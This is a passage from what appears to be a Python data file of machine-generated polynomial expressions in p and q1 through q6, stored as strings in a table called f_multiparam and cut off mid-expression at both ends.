10*q1**5*q2*q3*q4**2 + 10*q1**5*q2*q3*q4*q5 - 90*q1**5*q2*q3*q4 + 10*q1**4*q2**3*q3*q4 + 10*q1**4*q2**2*q3**2*q4 + 10*q1**4*q2**2*q3*q4**2 + 10*q1**4*q2**2*q3*q4*q5 - 90*q1**4*q2**2*q3*q4 + 10*q1**4*q2*q3**3*q4 + 10*q1**4*q2*q3**2*q4**2 + 10*q1**4*q2*q3**2*q4*q5 - 90*q1**4*q2*q3**2*q4 + 10*q1**4*q2*q3*q4**3 + 10*q1**4*q2*q3*q4**2*q5 - 90*q1**4*q2*q3*q4**2 + 10*q1**4*q2*q3*q4*q5**2 - 90*q1**4*q2*q3*q4*q5 + 360*q1**4*q2*q3*q4 + 10*q1**3*q2**4*q3*q4 + 10*q1**3*q2**3*q3**2*q4 + 10*q1**3*q2**3*q3*q4**2 + 10*q1**3*q2**3*q3*q4*q5 - 90*q1**3*q2**3*q3*q4 + 10*q1**3*q2**2*q3**3*q4 + 10*q1**3*q2**2*q3**2*q4**2 + 10*q1**3*q2**2*q3**2*q4*q5 - 90*q1**3*q2**2*q3**2*q4 + 10*q1**3*q2**2*q3*q4**3 + 10*q1**3*q2**2*q3*q4**2*q5 - 90*q1**3*q2**2*q3*q4**2 + 10*q1**3*q2**2*q3*q4*q5**2 - 90*q1**3*q2**2*q3*q4*q5 + 360*q1**3*q2**2*q3*q4 + 10*q1**3*q2*q3**4*q4 + 10*q1**3*q2*q3**3*q4**2 + 10*q1**3*q2*q3**3*q4*q5 - 90*q1**3*q2*q3**3*q4 + 10*q1**3*q2*q3**2*q4**3 + 10*q1**3*q2*q3**2*q4**2*q5 - 90*q1**3*q2*q3**2*q4**2 + 10*q1**3*q2*q3**2*q4*q5**2 - 90*q1**3*q2*q3**2*q4*q5 + 360*q1**3*q2*q3**2*q4 + 10*q1**3*q2*q3*q4**4 + 10*q1**3*q2*q3*q4**3*q5 - 90*q1**3*q2*q3*q4**3 + 10*q1**3*q2*q3*q4**2*q5**2 - 90*q1**3*q2*q3*q4**2*q5 + 360*q1**3*q2*q3*q4**2 + 10*q1**3*q2*q3*q4*q5**3 - 90*q1**3*q2*q3*q4*q5**2 + 360*q1**3*q2*q3*q4*q5 - 840*q1**3*q2*q3*q4 + 10*q1**2*q2**5*q3*q4 + 10*q1**2*q2**4*q3**2*q4 + 10*q1**2*q2**4*q3*q4**2 + 10*q1**2*q2**4*q3*q4*q5 - 90*q1**2*q2**4*q3*q4 + 10*q1**2*q2**3*q3**3*q4 + 10*q1**2*q2**3*q3**2*q4**2 + 10*q1**2*q2**3*q3**2*q4*q5 - 90*q1**2*q2**3*q3**2*q4 + 10*q1**2*q2**3*q3*q4**3 + 10*q1**2*q2**3*q3*q4**2*q5 - 90*q1**2*q2**3*q3*q4**2 + 10*q1**2*q2**3*q3*q4*q5**2 - 90*q1**2*q2**3*q3*q4*q5 + 360*q1**2*q2**3*q3*q4 + 10*q1**2*q2**2*q3**4*q4 + 10*q1**2*q2**2*q3**3*q4**2 + 10*q1**2*q2**2*q3**3*q4*q5 - 90*q1**2*q2**2*q3**3*q4 + 10*q1**2*q2**2*q3**2*q4**3 + 10*q1**2*q2**2*q3**2*q4**2*q5 - 90*q1**2*q2**2*q3**2*q4**2 + 10*q1**2*q2**2*q3**2*q4*q5**2 - 90*q1**2*q2**2*q3**2*q4*q5 + 360*q1**2*q2**2*q3**2*q4 + 10*q1**2*q2**2*q3*q4**4 + 10*q1**2*q2**2*q3*q4**3*q5 - 90*q1**2*q2**2*q3*q4**3 + 10*q1**2*q2**2*q3*q4**2*q5**2 - 90*q1**2*q2**2*q3*q4**2*q5 + 360*q1**2*q2**2*q3*q4**2 + 10*q1**2*q2**2*q3*q4*q5**3 - 90*q1**2*q2**2*q3*q4*q5**2 + 360*q1**2*q2**2*q3*q4*q5 - 840*q1**2*q2**2*q3*q4 + 10*q1**2*q2*q3**5*q4 + 10*q1**2*q2*q3**4*q4**2 + 10*q1**2*q2*q3**4*q4*q5 - 90*q1**2*q2*q3**4*q4 + 10*q1**2*q2*q3**3*q4**3 + 10*q1**2*q2*q3**3*q4**2*q5 - 90*q1**2*q2*q3**3*q4**2 + 10*q1**2*q2*q3**3*q4*q5**2 - 90*q1**2*q2*q3**3*q4*q5 + 360*q1**2*q2*q3**3*q4 + 10*q1**2*q2*q3**2*q4**4 + 10*q1**2*q2*q3**2*q4**3*q5 - 90*q1**2*q2*q3**2*q4**3 + 10*q1**2*q2*q3**2*q4**2*q5**2 - 90*q1**2*q2*q3**2*q4**2*q5 + 360*q1**2*q2*q3**2*q4**2 + 10*q1**2*q2*q3**2*q4*q5**3 - 90*q1**2*q2*q3**2*q4*q5**2 + 360*q1**2*q2*q3**2*q4*q5 - 840*q1**2*q2*q3**2*q4 + 10*q1**2*q2*q3*q4**5 + 10*q1**2*q2*q3*q4**4*q5 - 90*q1**2*q2*q3*q4**4 + 10*q1**2*q2*q3*q4**3*q5**2 - 90*q1**2*q2*q3*q4**3*q5 + 360*q1**2*q2*q3*q4**3 + 10*q1**2*q2*q3*q4**2*q5**3 - 90*q1**2*q2*q3*q4**2*q5**2 + 360*q1**2*q2*q3*q4**2*q5 - 840*q1**2*q2*q3*q4**2 + 10*q1**2*q2*q3*q4*q5**4 - 90*q1**2*q2*q3*q4*q5**3 + 360*q1**2*q2*q3*q4*q5**2 - 840*q1**2*q2*q3*q4*q5 + 1260*q1**2*q2*q3*q4 + 10*q1*q2**6*q3*q4 + 10*q1*q2**5*q3**2*q4 + 10*q1*q2**5*q3*q4**2 + 10*q1*q2**5*q3*q4*q5 - 90*q1*q2**5*q3*q4 + 10*q1*q2**4*q3**3*q4 + 10*q1*q2**4*q3**2*q4**2 + 10*q1*q2**4*q3**2*q4*q5 - 90*q1*q2**4*q3**2*q4 + 10*q1*q2**4*q3*q4**3 + 10*q1*q2**4*q3*q4**2*q5 - 90*q1*q2**4*q3*q4**2 + 10*q1*q2**4*q3*q4*q5**2 - 90*q1*q2**4*q3*q4*q5 + 360*q1*q2**4*q3*q4 + 10*q1*q2**3*q3**4*q4 + 10*q1*q2**3*q3**3*q4**2 + 10*q1*q2**3*q3**3*q4*q5 - 90*q1*q2**3*q3**3*q4 + 10*q1*q2**3*q3**2*q4**3 + 10*q1*q2**3*q3**2*q4**2*q5 - 90*q1*q2**3*q3**2*q4**2 + 10*q1*q2**3*q3**2*q4*q5**2 - 90*q1*q2**3*q3**2*q4*q5 + 360*q1*q2**3*q3**2*q4 + 10*q1*q2**3*q3*q4**4 + 10*q1*q2**3*q3*q4**3*q5 - 90*q1*q2**3*q3*q4**3 + 10*q1*q2**3*q3*q4**2*q5**2 - 90*q1*q2**3*q3*q4**2*q5 + 360*q1*q2**3*q3*q4**2 + 10*q1*q2**3*q3*q4*q5**3 - 90*q1*q2**3*q3*q4*q5**2 + 360*q1*q2**3*q3*q4*q5 - 840*q1*q2**3*q3*q4 + 10*q1*q2**2*q3**5*q4 + 10*q1*q2**2*q3**4*q4**2 + 10*q1*q2**2*q3**4*q4*q5 - 90*q1*q2**2*q3**4*q4 + 10*q1*q2**2*q3**3*q4**3 + 10*q1*q2**2*q3**3*q4**2*q5 - 90*q1*q2**2*q3**3*q4**2 + 10*q1*q2**2*q3**3*q4*q5**2 - 90*q1*q2**2*q3**3*q4*q5 + 360*q1*q2**2*q3**3*q4 + 10*q1*q2**2*q3**2*q4**4 + 10*q1*q2**2*q3**2*q4**3*q5 - 90*q1*q2**2*q3**2*q4**3 + 10*q1*q2**2*q3**2*q4**2*q5**2 - 90*q1*q2**2*q3**2*q4**2*q5 + 360*q1*q2**2*q3**2*q4**2 + 10*q1*q2**2*q3**2*q4*q5**3 - 90*q1*q2**2*q3**2*q4*q5**2 + 360*q1*q2**2*q3**2*q4*q5 - 840*q1*q2**2*q3**2*q4 + 10*q1*q2**2*q3*q4**5 + 10*q1*q2**2*q3*q4**4*q5 - 90*q1*q2**2*q3*q4**4 + 10*q1*q2**2*q3*q4**3*q5**2 - 90*q1*q2**2*q3*q4**3*q5 + 360*q1*q2**2*q3*q4**3 + 10*q1*q2**2*q3*q4**2*q5**3 - 90*q1*q2**2*q3*q4**2*q5**2 + 360*q1*q2**2*q3*q4**2*q5 - 840*q1*q2**2*q3*q4**2 + 10*q1*q2**2*q3*q4*q5**4 - 90*q1*q2**2*q3*q4*q5**3 + 360*q1*q2**2*q3*q4*q5**2 - 840*q1*q2**2*q3*q4*q5 + 1260*q1*q2**2*q3*q4 + 10*q1*q2*q3**6*q4 + 10*q1*q2*q3**5*q4**2 + 10*q1*q2*q3**5*q4*q5 - 90*q1*q2*q3**5*q4 + 10*q1*q2*q3**4*q4**3 + 10*q1*q2*q3**4*q4**2*q5 - 90*q1*q2*q3**4*q4**2 + 10*q1*q2*q3**4*q4*q5**2 - 90*q1*q2*q3**4*q4*q5 + 360*q1*q2*q3**4*q4 + 10*q1*q2*q3**3*q4**4 + 10*q1*q2*q3**3*q4**3*q5 - 90*q1*q2*q3**3*q4**3 + 10*q1*q2*q3**3*q4**2*q5**2 - 90*q1*q2*q3**3*q4**2*q5 + 360*q1*q2*q3**3*q4**2 + 10*q1*q2*q3**3*q4*q5**3 - 90*q1*q2*q3**3*q4*q5**2 + 360*q1*q2*q3**3*q4*q5 - 840*q1*q2*q3**3*q4 + 10*q1*q2*q3**2*q4**5 + 10*q1*q2*q3**2*q4**4*q5 - 90*q1*q2*q3**2*q4**4 + 10*q1*q2*q3**2*q4**3*q5**2 - 90*q1*q2*q3**2*q4**3*q5 + 360*q1*q2*q3**2*q4**3 + 10*q1*q2*q3**2*q4**2*q5**3 - 90*q1*q2*q3**2*q4**2*q5**2 + 360*q1*q2*q3**2*q4**2*q5 - 840*q1*q2*q3**2*q4**2 + 10*q1*q2*q3**2*q4*q5**4 - 90*q1*q2*q3**2*q4*q5**3 + 360*q1*q2*q3**2*q4*q5**2 - 840*q1*q2*q3**2*q4*q5 + 1260*q1*q2*q3**2*q4 + 10*q1*q2*q3*q4**6 + 10*q1*q2*q3*q4**5*q5 - 90*q1*q2*q3*q4**5 + 10*q1*q2*q3*q4**4*q5**2 - 90*q1*q2*q3*q4**4*q5 + 360*q1*q2*q3*q4**4 + 10*q1*q2*q3*q4**3*q5**3 - 90*q1*q2*q3*q4**3*q5**2 + 360*q1*q2*q3*q4**3*q5 - 840*q1*q2*q3*q4**3 + 10*q1*q2*q3*q4**2*q5**4 - 90*q1*q2*q3*q4**2*q5**3 + 360*q1*q2*q3*q4**2*q5**2 - 840*q1*q2*q3*q4**2*q5 + 1260*q1*q2*q3*q4**2 + 10*q1*q2*q3*q4*q5**5 - 90*q1*q2*q3*q4*q5**4 + 360*q1*q2*q3*q4*q5**3 - 840*q1*q2*q3*q4*q5**2 + 1260*q1*q2*q3*q4*q5 - 1260*q1*q2*q3*q4)' f_multiparam[10][6] = '-p*(p - 1)**4*(10*p**5*q1**5*q2*q3*q4*q5 + 10*p**5*q1**4*q2**2*q3*q4*q5 + 10*p**5*q1**4*q2*q3**2*q4*q5 + 10*p**5*q1**4*q2*q3*q4**2*q5 + 10*p**5*q1**4*q2*q3*q4*q5**2 + 10*p**5*q1**4*q2*q3*q4*q5*q6 - 90*p**5*q1**4*q2*q3*q4*q5 + 10*p**5*q1**3*q2**3*q3*q4*q5 + 10*p**5*q1**3*q2**2*q3**2*q4*q5 + 10*p**5*q1**3*q2**2*q3*q4**2*q5 + 10*p**5*q1**3*q2**2*q3*q4*q5**2 + 10*p**5*q1**3*q2**2*q3*q4*q5*q6 - 90*p**5*q1**3*q2**2*q3*q4*q5 + 10*p**5*q1**3*q2*q3**3*q4*q5 + 10*p**5*q1**3*q2*q3**2*q4**2*q5 + 10*p**5*q1**3*q2*q3**2*q4*q5**2 + 10*p**5*q1**3*q2*q3**2*q4*q5*q6 - 90*p**5*q1**3*q2*q3**2*q4*q5 + 10*p**5*q1**3*q2*q3*q4**3*q5 + 10*p**5*q1**3*q2*q3*q4**2*q5**2 + 10*p**5*q1**3*q2*q3*q4**2*q5*q6 - 90*p**5*q1**3*q2*q3*q4**2*q5 + 10*p**5*q1**3*q2*q3*q4*q5**3 + 10*p**5*q1**3*q2*q3*q4*q5**2*q6 - 90*p**5*q1**3*q2*q3*q4*q5**2 + 10*p**5*q1**3*q2*q3*q4*q5*q6**2 - 90*p**5*q1**3*q2*q3*q4*q5*q6 + 360*p**5*q1**3*q2*q3*q4*q5 + 10*p**5*q1**2*q2**4*q3*q4*q5 + 10*p**5*q1**2*q2**3*q3**2*q4*q5 + 10*p**5*q1**2*q2**3*q3*q4**2*q5 + 10*p**5*q1**2*q2**3*q3*q4*q5**2 + 10*p**5*q1**2*q2**3*q3*q4*q5*q6 - 90*p**5*q1**2*q2**3*q3*q4*q5 + 10*p**5*q1**2*q2**2*q3**3*q4*q5 + 10*p**5*q1**2*q2**2*q3**2*q4**2*q5 + 10*p**5*q1**2*q2**2*q3**2*q4*q5**2 + 10*p**5*q1**2*q2**2*q3**2*q4*q5*q6 - 90*p**5*q1**2*q2**2*q3**2*q4*q5 + 10*p**5*q1**2*q2**2*q3*q4**3*q5 + 10*p**5*q1**2*q2**2*q3*q4**2*q5**2 + 10*p**5*q1**2*q2**2*q3*q4**2*q5*q6 - 90*p**5*q1**2*q2**2*q3*q4**2*q5 + 10*p**5*q1**2*q2**2*q3*q4*q5**3 + 10*p**5*q1**2*q2**2*q3*q4*q5**2*q6 - 90*p**5*q1**2*q2**2*q3*q4*q5**2 + 10*p**5*q1**2*q2**2*q3*q4*q5*q6**2 - 90*p**5*q1**2*q2**2*q3*q4*q5*q6 + 360*p**5*q1**2*q2**2*q3*q4*q5 + 10*p**5*q1**2*q2*q3**4*q4*q5 + 10*p**5*q1**2*q2*q3**3*q4**2*q5 + 10*p**5*q1**2*q2*q3**3*q4*q5**2 + 10*p**5*q1**2*q2*q3**3*q4*q5*q6 - 90*p**5*q1**2*q2*q3**3*q4*q5 + 10*p**5*q1**2*q2*q3**2*q4**3*q5 + 10*p**5*q1**2*q2*q3**2*q4**2*q5**2 + 10*p**5*q1**2*q2*q3**2*q4**2*q5*q6 - 90*p**5*q1**2*q2*q3**2*q4**2*q5 + 10*p**5*q1**2*q2*q3**2*q4*q5**3 + 10*p**5*q1**2*q2*q3**2*q4*q5**2*q6 - 90*p**5*q1**2*q2*q3**2*q4*q5**2 + 10*p**5*q1**2*q2*q3**2*q4*q5*q6**2 - 90*p**5*q1**2*q2*q3**2*q4*q5*q6 + 360*p**5*q1**2*q2*q3**2*q4*q5 + 10*p**5*q1**2*q2*q3*q4**4*q5 + 10*p**5*q1**2*q2*q3*q4**3*q5**2 + 10*p**5*q1**2*q2*q3*q4**3*q5*q6 - 90*p**5*q1**2*q2*q3*q4**3*q5 + 10*p**5*q1**2*q2*q3*q4**2*q5**3 + 10*p**5*q1**2*q2*q3*q4**2*q5**2*q6 - 90*p**5*q1**2*q2*q3*q4**2*q5**2 + 10*p**5*q1**2*q2*q3*q4**2*q5*q6**2 - 90*p**5*q1**2*q2*q3*q4**2*q5*q6 + 360*p**5*q1**2*q2*q3*q4**2*q5 + 10*p**5*q1**2*q2*q3*q4*q5**4 + 10*p**5*q1**2*q2*q3*q4*q5**3*q6 - 90*p**5*q1**2*q2*q3*q4*q5**3 + 10*p**5*q1**2*q2*q3*q4*q5**2*q6**2 - 90*p**5*q1**2*q2*q3*q4*q5**2*q6 + 360*p**5*q1**2*q2*q3*q4*q5**2 + 10*p**5*q1**2*q2*q3*q4*q5*q6**3 - 90*p**5*q1**2*q2*q3*q4*q5*q6**2 + 360*p**5*q1**2*q2*q3*q4*q5*q6 - 840*p**5*q1**2*q2*q3*q4*q5 + 10*p**5*q1*q2**5*q3*q4*q5 + 10*p**5*q1*q2**4*q3**2*q4*q5 + 10*p**5*q1*q2**4*q3*q4**2*q5 + 10*p**5*q1*q2**4*q3*q4*q5**2 + 10*p**5*q1*q2**4*q3*q4*q5*q6 - 90*p**5*q1*q2**4*q3*q4*q5 + 10*p**5*q1*q2**3*q3**3*q4*q5 + 10*p**5*q1*q2**3*q3**2*q4**2*q5 + 10*p**5*q1*q2**3*q3**2*q4*q5**2 + 10*p**5*q1*q2**3*q3**2*q4*q5*q6 - 90*p**5*q1*q2**3*q3**2*q4*q5 + 10*p**5*q1*q2**3*q3*q4**3*q5 + 10*p**5*q1*q2**3*q3*q4**2*q5**2 + 10*p**5*q1*q2**3*q3*q4**2*q5*q6 - 90*p**5*q1*q2**3*q3*q4**2*q5 + 10*p**5*q1*q2**3*q3*q4*q5**3 + 10*p**5*q1*q2**3*q3*q4*q5**2*q6 - 90*p**5*q1*q2**3*q3*q4*q5**2 + 10*p**5*q1*q2**3*q3*q4*q5*q6**2 - 90*p**5*q1*q2**3*q3*q4*q5*q6 + 360*p**5*q1*q2**3*q3*q4*q5 + 10*p**5*q1*q2**2*q3**4*q4*q5 + 10*p**5*q1*q2**2*q3**3*q4**2*q5 + 10*p**5*q1*q2**2*q3**3*q4*q5**2 + 10*p**5*q1*q2**2*q3**3*q4*q5*q6 - 90*p**5*q1*q2**2*q3**3*q4*q5 + 10*p**5*q1*q2**2*q3**2*q4**3*q5 + 10*p**5*q1*q2**2*q3**2*q4**2*q5**2 + 10*p**5*q1*q2**2*q3**2*q4**2*q5*q6 - 90*p**5*q1*q2**2*q3**2*q4**2*q5 + 10*p**5*q1*q2**2*q3**2*q4*q5**3 + 10*p**5*q1*q2**2*q3**2*q4*q5**2*q6 - 90*p**5*q1*q2**2*q3**2*q4*q5**2 + 10*p**5*q1*q2**2*q3**2*q4*q5*q6**2 - 90*p**5*q1*q2**2*q3**2*q4*q5*q6 + 360*p**5*q1*q2**2*q3**2*q4*q5 + 10*p**5*q1*q2**2*q3*q4**4*q5 + 10*p**5*q1*q2**2*q3*q4**3*q5**2 + 10*p**5*q1*q2**2*q3*q4**3*q5*q6 - 90*p**5*q1*q2**2*q3*q4**3*q5 + 10*p**5*q1*q2**2*q3*q4**2*q5**3 + 10*p**5*q1*q2**2*q3*q4**2*q5**2*q6 - 90*p**5*q1*q2**2*q3*q4**2*q5**2 + 10*p**5*q1*q2**2*q3*q4**2*q5*q6**2 - 90*p**5*q1*q2**2*q3*q4**2*q5*q6 + 360*p**5*q1*q2**2*q3*q4**2*q5 + 10*p**5*q1*q2**2*q3*q4*q5**4 + 10*p**5*q1*q2**2*q3*q4*q5**3*q6 - 90*p**5*q1*q2**2*q3*q4*q5**3 + 10*p**5*q1*q2**2*q3*q4*q5**2*q6**2 - 90*p**5*q1*q2**2*q3*q4*q5**2*q6 + 360*p**5*q1*q2**2*q3*q4*q5**2 + 10*p**5*q1*q2**2*q3*q4*q5*q6**3 - 90*p**5*q1*q2**2*q3*q4*q5*q6**2 + 360*p**5*q1*q2**2*q3*q4*q5*q6 - 840*p**5*q1*q2**2*q3*q4*q5 + 10*p**5*q1*q2*q3**5*q4*q5 + 10*p**5*q1*q2*q3**4*q4**2*q5 + 10*p**5*q1*q2*q3**4*q4*q5**2 + 10*p**5*q1*q2*q3**4*q4*q5*q6 - 90*p**5*q1*q2*q3**4*q4*q5 + 10*p**5*q1*q2*q3**3*q4**3*q5 + 10*p**5*q1*q2*q3**3*q4**2*q5**2 + 10*p**5*q1*q2*q3**3*q4**2*q5*q6 - 90*p**5*q1*q2*q3**3*q4**2*q5 + 10*p**5*q1*q2*q3**3*q4*q5**3 + 10*p**5*q1*q2*q3**3*q4*q5**2*q6 - 90*p**5*q1*q2*q3**3*q4*q5**2 + 10*p**5*q1*q2*q3**3*q4*q5*q6**2 - 90*p**5*q1*q2*q3**3*q4*q5*q6 + 360*p**5*q1*q2*q3**3*q4*q5 + 10*p**5*q1*q2*q3**2*q4**4*q5 + 10*p**5*q1*q2*q3**2*q4**3*q5**2 + 10*p**5*q1*q2*q3**2*q4**3*q5*q6 - 90*p**5*q1*q2*q3**2*q4**3*q5 + 10*p**5*q1*q2*q3**2*q4**2*q5**3 + 10*p**5*q1*q2*q3**2*q4**2*q5**2*q6 - 90*p**5*q1*q2*q3**2*q4**2*q5**2 + 10*p**5*q1*q2*q3**2*q4**2*q5*q6**2 - 90*p**5*q1*q2*q3**2*q4**2*q5*q6 + 360*p**5*q1*q2*q3**2*q4**2*q5 + 10*p**5*q1*q2*q3**2*q4*q5**4 + 10*p**5*q1*q2*q3**2*q4*q5**3*q6 - 90*p**5*q1*q2*q3**2*q4*q5**3 + 10*p**5*q1*q2*q3**2*q4*q5**2*q6**2 - 90*p**5*q1*q2*q3**2*q4*q5**2*q6 + 360*p**5*q1*q2*q3**2*q4*q5**2 + 10*p**5*q1*q2*q3**2*q4*q5*q6**3 - 90*p**5*q1*q2*q3**2*q4*q5*q6**2 + 360*p**5*q1*q2*q3**2*q4*q5*q6 - 840*p**5*q1*q2*q3**2*q4*q5 + 10*p**5*q1*q2*q3*q4**5*q5 + 10*p**5*q1*q2*q3*q4**4*q5**2 + 10*p**5*q1*q2*q3*q4**4*q5*q6 - 90*p**5*q1*q2*q3*q4**4*q5 + 10*p**5*q1*q2*q3*q4**3*q5**3 + 10*p**5*q1*q2*q3*q4**3*q5**2*q6 - 90*p**5*q1*q2*q3*q4**3*q5**2 + 10*p**5*q1*q2*q3*q4**3*q5*q6**2 - 90*p**5*q1*q2*q3*q4**3*q5*q6 + 360*p**5*q1*q2*q3*q4**3*q5 + 10*p**5*q1*q2*q3*q4**2*q5**4 + 10*p**5*q1*q2*q3*q4**2*q5**3*q6 - 90*p**5*q1*q2*q3*q4**2*q5**3 + 10*p**5*q1*q2*q3*q4**2*q5**2*q6**2 - 90*p**5*q1*q2*q3*q4**2*q5**2*q6 + 360*p**5*q1*q2*q3*q4**2*q5**2 + 10*p**5*q1*q2*q3*q4**2*q5*q6**3 - 90*p**5*q1*q2*q3*q4**2*q5*q6**2 + 360*p**5*q1*q2*q3*q4**2*q5*q6 - 840*p**5*q1*q2*q3*q4**2*q5 + 10*p**5*q1*q2*q3*q4*q5**5 + 10*p**5*q1*q2*q3*q4*q5**4*q6 - 90*p**5*q1*q2*q3*q4*q5**4 + 10*p**5*q1*q2*q3*q4*q5**3*q6**2 - 90*p**5*q1*q2*q3*q4*q5**3*q6 + 360*p**5*q1*q2*q3*q4*q5**3 + 10*p**5*q1*q2*q3*q4*q5**2*q6**3 - 90*p**5*q1*q2*q3*q4*q5**2*q6**2 + 360*p**5*q1*q2*q3*q4*q5**2*q6 - 840*p**5*q1*q2*q3*q4*q5**2 + 10*p**5*q1*q2*q3*q4*q5*q6**4 - 90*p**5*q1*q2*q3*q4*q5*q6**3 + 360*p**5*q1*q2*q3*q4*q5*q6**2 - 840*p**5*q1*q2*q3*q4*q5*q6 + 1260*p**5*q1*q2*q3*q4*q5 - 45*p**5*q2**5*q3*q4*q5 - 45*p**5*q2**4*q3**2*q4*q5 - 45*p**5*q2**4*q3*q4**2*q5 - 45*p**5*q2**4*q3*q4*q5**2 - 45*p**5*q2**4*q3*q4*q5*q6 + 360*p**5*q2**4*q3*q4*q5 - 45*p**5*q2**3*q3**3*q4*q5 - 45*p**5*q2**3*q3**2*q4**2*q5 - 45*p**5*q2**3*q3**2*q4*q5**2 - 45*p**5*q2**3*q3**2*q4*q5*q6 + 360*p**5*q2**3*q3**2*q4*q5 - 45*p**5*q2**3*q3*q4**3*q5 - 45*p**5*q2**3*q3*q4**2*q5**2 - 45*p**5*q2**3*q3*q4**2*q5*q6 + 360*p**5*q2**3*q3*q4**2*q5 - 45*p**5*q2**3*q3*q4*q5**3 - 45*p**5*q2**3*q3*q4*q5**2*q6 + 360*p**5*q2**3*q3*q4*q5**2 - 45*p**5*q2**3*q3*q4*q5*q6**2 + 360*p**5*q2**3*q3*q4*q5*q6 - 1260*p**5*q2**3*q3*q4*q5 - 45*p**5*q2**2*q3**4*q4*q5 - 45*p**5*q2**2*q3**3*q4**2*q5 - 45*p**5*q2**2*q3**3*q4*q5**2 - 45*p**5*q2**2*q3**3*q4*q5*q6 + 360*p**5*q2**2*q3**3*q4*q5 - 45*p**5*q2**2*q3**2*q4**3*q5 - 45*p**5*q2**2*q3**2*q4**2*q5**2 - 45*p**5*q2**2*q3**2*q4**2*q5*q6 + 360*p**5*q2**2*q3**2*q4**2*q5 - 45*p**5*q2**2*q3**2*q4*q5**3 - 45*p**5*q2**2*q3**2*q4*q5**2*q6 + 360*p**5*q2**2*q3**2*q4*q5**2 - 45*p**5*q2**2*q3**2*q4*q5*q6**2 + 360*p**5*q2**2*q3**2*q4*q5*q6 - 1260*p**5*q2**2*q3**2*q4*q5 - 45*p**5*q2**2*q3*q4**4*q5 - 45*p**5*q2**2*q3*q4**3*q5**2 - 45*p**5*q2**2*q3*q4**3*q5*q6 + 360*p**5*q2**2*q3*q4**3*q5 - 45*p**5*q2**2*q3*q4**2*q5**3 - 45*p**5*q2**2*q3*q4**2*q5**2*q6 + 360*p**5*q2**2*q3*q4**2*q5**2 - 45*p**5*q2**2*q3*q4**2*q5*q6**2 + 360*p**5*q2**2*q3*q4**2*q5*q6 - 1260*p**5*q2**2*q3*q4**2*q5 - 45*p**5*q2**2*q3*q4*q5**4 - 45*p**5*q2**2*q3*q4*q5**3*q6 + 360*p**5*q2**2*q3*q4*q5**3 - 45*p**5*q2**2*q3*q4*q5**2*q6**2 + 360*p**5*q2**2*q3*q4*q5**2*q6 - 1260*p**5*q2**2*q3*q4*q5**2 - 45*p**5*q2**2*q3*q4*q5*q6**3 + 360*p**5*q2**2*q3*q4*q5*q6**2 - 1260*p**5*q2**2*q3*q4*q5*q6 + 2520*p**5*q2**2*q3*q4*q5 - 45*p**5*q2*q3**5*q4*q5 - 45*p**5*q2*q3**4*q4**2*q5 - 45*p**5*q2*q3**4*q4*q5**2 - 45*p**5*q2*q3**4*q4*q5*q6 + 360*p**5*q2*q3**4*q4*q5 - 45*p**5*q2*q3**3*q4**3*q5 - 45*p**5*q2*q3**3*q4**2*q5**2 - 45*p**5*q2*q3**3*q4**2*q5*q6 + 360*p**5*q2*q3**3*q4**2*q5 - 45*p**5*q2*q3**3*q4*q5**3 - 45*p**5*q2*q3**3*q4*q5**2*q6 + 360*p**5*q2*q3**3*q4*q5**2 - 45*p**5*q2*q3**3*q4*q5*q6**2 + 360*p**5*q2*q3**3*q4*q5*q6 - 1260*p**5*q2*q3**3*q4*q5 - 45*p**5*q2*q3**2*q4**4*q5 - 45*p**5*q2*q3**2*q4**3*q5**2 - 45*p**5*q2*q3**2*q4**3*q5*q6 + 360*p**5*q2*q3**2*q4**3*q5 - 45*p**5*q2*q3**2*q4**2*q5**3 - 45*p**5*q2*q3**2*q4**2*q5**2*q6 + 360*p**5*q2*q3**2*q4**2*q5**2 - 45*p**5*q2*q3**2*q4**2*q5*q6**2 + 360*p**5*q2*q3**2*q4**2*q5*q6 - 1260*p**5*q2*q3**2*q4**2*q5 - 45*p**5*q2*q3**2*q4*q5**4 - 45*p**5*q2*q3**2*q4*q5**3*q6 + 360*p**5*q2*q3**2*q4*q5**3 - 45*p**5*q2*q3**2*q4*q5**2*q6**2 + 360*p**5*q2*q3**2*q4*q5**2*q6 - 1260*p**5*q2*q3**2*q4*q5**2 - 45*p**5*q2*q3**2*q4*q5*q6**3 + 360*p**5*q2*q3**2*q4*q5*q6**2 - 1260*p**5*q2*q3**2*q4*q5*q6 + 2520*p**5*q2*q3**2*q4*q5 - 45*p**5*q2*q3*q4**5*q5 - 45*p**5*q2*q3*q4**4*q5**2 - 45*p**5*q2*q3*q4**4*q5*q6 + 360*p**5*q2*q3*q4**4*q5 - 45*p**5*q2*q3*q4**3*q5**3 - 45*p**5*q2*q3*q4**3*q5**2*q6 + 360*p**5*q2*q3*q4**3*q5**2 - 45*p**5*q2*q3*q4**3*q5*q6**2 + 360*p**5*q2*q3*q4**3*q5*q6 - 1260*p**5*q2*q3*q4**3*q5 - 45*p**5*q2*q3*q4**2*q5**4 - 45*p**5*q2*q3*q4**2*q5**3*q6 + 360*p**5*q2*q3*q4**2*q5**3 - 45*p**5*q2*q3*q4**2*q5**2*q6**2 + 360*p**5*q2*q3*q4**2*q5**2*q6 - 1260*p**5*q2*q3*q4**2*q5**2 - 45*p**5*q2*q3*q4**2*q5*q6**3 + 360*p**5*q2*q3*q4**2*q5*q6**2 - 1260*p**5*q2*q3*q4**2*q5*q6 + 2520*p**5*q2*q3*q4**2*q5 - 45*p**5*q2*q3*q4*q5**5 - 45*p**5*q2*q3*q4*q5**4*q6 + 360*p**5*q2*q3*q4*q5**4 - 45*p**5*q2*q3*q4*q5**3*q6**2 + 360*p**5*q2*q3*q4*q5**3*q6 - 1260*p**5*q2*q3*q4*q5**3 - 45*p**5*q2*q3*q4*q5**2*q6**3 + 360*p**5*q2*q3*q4*q5**2*q6**2 - 1260*p**5*q2*q3*q4*q5**2*q6 + 2520*p**5*q2*q3*q4*q5**2 - 45*p**5*q2*q3*q4*q5*q6**4 + 360*p**5*q2*q3*q4*q5*q6**3 - 1260*p**5*q2*q3*q4*q5*q6**2 + 2520*p**5*q2*q3*q4*q5*q6 - 3150*p**5*q2*q3*q4*q5 + 120*p**5*q3**5*q4*q5 + 120*p**5*q3**4*q4**2*q5 + 120*p**5*q3**4*q4*q5**2 + 120*p**5*q3**4*q4*q5*q6 - 840*p**5*q3**4*q4*q5 + 120*p**5*q3**3*q4**3*q5 + 120*p**5*q3**3*q4**2*q5**2 + 120*p**5*q3**3*q4**2*q5*q6 - 840*p**5*q3**3*q4**2*q5 + 120*p**5*q3**3*q4*q5**3 + 120*p**5*q3**3*q4*q5**2*q6 - 840*p**5*q3**3*q4*q5**2 + 120*p**5*q3**3*q4*q5*q6**2 - 840*p**5*q3**3*q4*q5*q6 + 